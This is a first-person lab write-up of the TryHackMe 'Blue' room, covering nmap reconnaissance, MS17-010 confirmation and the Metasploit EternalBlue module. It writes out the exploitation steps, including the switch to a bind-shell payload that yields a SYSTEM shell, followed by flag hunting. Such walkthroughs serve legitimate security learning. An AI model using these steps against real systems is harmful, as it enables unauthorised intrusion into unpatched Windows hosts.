Writeup — Blue (TryHackMe)

OS: Windows Server 2012 R2 Datacenter
Difficulty: Easy
Date: 20 August 2026

Summary

Standalone Windows machine, not domain-joined. nmap reveals SMB exposed with a version vulnerable to MS17-010 (EternalBlue). it was exploited with the dedicated, recommended Metasploit module, with a first attempt failing because the "reverse_tcp" payload was blocked outbound. switching to a "bind_tcp" payload the shell opens and comes in directly as SYSTEM (elevated privileges). from there just manual filesystem enumeration to recover any useful data (the room's three flags)

Chain: nmap → SMB vulnerable to MS17-010 → Metasploit EternalBlue → bind_tcp payload → SYSTEM shell → filesystem exploration → flags in C:, System32\config and Users\Jon\Documents.

additional tools and methodology

an llm was used during the session: for looking up CVE details, interpreting raw output, suggesting unexplored vectors when stuck, and detailed explanation of technical concepts. the execution and the operational decisions were mine. the writeup was written by me and later cleaned up with the same tool.

Preface

room done on an AttackBox provided by TryHackMe, not on my local machine. several tools already available in /root/Desktop/Tools and /opt/, wordlists in /usr/share/wordlists, and the attackbox already had bloodhound, metasploit, postman, caido, exploitdb and ghidra among others.
Room intended and described in the introduction as a first contact with EternalBlue, and completed in about an hour of work
the technical part wasn't demanding, the time lost was on the first failed exploit attempt through metasploit and on finding the right command to read a file's contents from a Windows shell,since I didn't remember it and it isn't Linux where a simple grep solves it.

Phase 1 — Reconnaissance

first scan with script and version, no reply:

nmap -Pn -sC -sV -T4 10.114.166.198

ICMP disabled, hence the -Pn in every subsequent scan.
I try a wider port range:

nmap -Pn -T4 --top-ports 1000 10.114.166.198

Result:

135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
49152-49155/tcp open unknown

SMB and RDP exposed, no domain (no 389/88 so it's a standalone machine).
with 445 open the first sensible thing is to check MS17-010, looked up online after reading about it in the room introduction before starting:

nmap -Pn -p445 --script smb-os-discovery,smb-vuln-ms17-010 10.114.166.198
we're telling nmap to run two precise NSE scripts it holds inside itself=
smb-os-discovery queries SMB and tries to derive OS, hostname, domain, Windows version, which can be very useful to us given that Metasploit will be used (especially the version).
smb-vuln-ms17-010 only checks whether SMB is vulnerable to MS17-010 (EternalBlue)
nmap has hundreds of ready-made scripts in /usr/share/nmap/scripts/ just like these

Output confirms:

VULNERABLE: MS17-010, CVE-2017-0143
OS: Windows Server 2012 R2 Datacenter 9600
Computer name: WIN-JO6REVNMMMP

target confirmed EternalBlue.

Phase 2 — Exploitation

Metasploit already installed on the machine,I look for the module:

Command sequence:
msfconsole (then opened manually from the Desktop shortcut, the command was running forever)
search eternalblue
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.114.166.198
show options

no mandatory parameter missing at a glance. also confirmed by having the chatbot read the show options output. first attempt with the default payload (reverse_tcp):

run

the preliminary check confirms the vulnerability, the exploit starts but the module stops on:

Exploit failed with the following error: Read timeout expired when reading from the Socket (timeout=30)
Exploit completed, but no session was created.

I understand no session was created. it may be a probable outbound firewall on the target machine, but I have little knowledge about the other causes.

after this failed attempt, what worked was found by the chatbot, justifiable because the room already said it: in the "Task2" instructions it was written to set set payload windows/x64/shell/reverse_tcp before launching the exploit, "for the sake of learning". I hadn't read it, since I was working almost entirely on my own inside the machine.
So:

set PAYLOAD windows/x64/shell_bind_tcp
set LPORT 4444
exploit

this time the check is identical but the session opens:

Command shell session 1 opened (10.114.130.193:44197 -> 10.114.166.198:4444)

shell as:

C:\Windows\system32>whoami
nt authority\system

SYSTEM straight away with no intermediate privilege escalation step .

Phase 3 — Enumeration and flag recovery

users present on the machine:

dir C:\Users

Administrator, Jon, Public. I start from Jon:

dir C:\Users\Jon\Documents

Directory of C:\Users\Jon\Documents
....
07/31/2026 01:29 PM 37 flag3.txt

type C:\Users\Jon\Documents\flag3.txt
flag{admin_documents_can_be_valuable}

first flag found. Administrator\Desktop and Administrator\Documents turn out to be practically empty, and with little time left on the Free machine I search directly by filename straight from the root since I can move anywhere in the filesystem:

dir C:\flag*.txt (the equivalent of a grep in Linux)

Directory of C:\
07/31/2026 01:24 PM 24 flag1.txt

type C:\flag1.txt
flag{access_the_machine}

a third flag is still not found, I assume it's tied to the SAM database given the room's hints about NTLM and hashes that I read in this phase to get some context. but fortunately it was enough to search recursively across the whole filesystem again:

dir /s C:\flag2.txt

Directory of C:\Windows\System32\config (the path where the flag was)
07/31/2026 01:26 PM 34 flag2.txt

type C:\Windows\System32\config\flag2.txt
flag{sam_database_elevated_access}

all three flags recovered.

Full chain

nmap top-ports → SMB and RDP exposed
→ smb-vuln-ms17-010 confirms CVE-2017-0143
→ Metasploit exploit/windows/smb/ms17_010_eternalblue
→ reverse_tcp payload fails (timeout)
→ shell_bind_tcp payload works
→ direct shell as nt authority\system
→ manual filesystem enumeration → 3 flags recovered

Lessons learned

read the room instructions before launching anything, even when they seem obvious. in this case the hint about switching payload was already written there and I only found it somewhere else after wasting time looking for it elsewhere.

Tools used

nmap, msfconsole/metasploit (exploit/windows/smb/ms17_010_eternalblue)